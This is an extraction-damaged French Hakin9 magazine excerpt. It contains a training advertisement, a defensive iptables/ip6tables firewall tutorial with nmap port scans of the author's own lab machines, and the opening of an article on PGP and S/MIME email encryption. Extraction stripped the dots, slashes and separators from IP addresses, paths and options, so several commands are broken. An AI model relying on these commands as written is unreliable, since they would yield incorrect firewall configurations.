Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

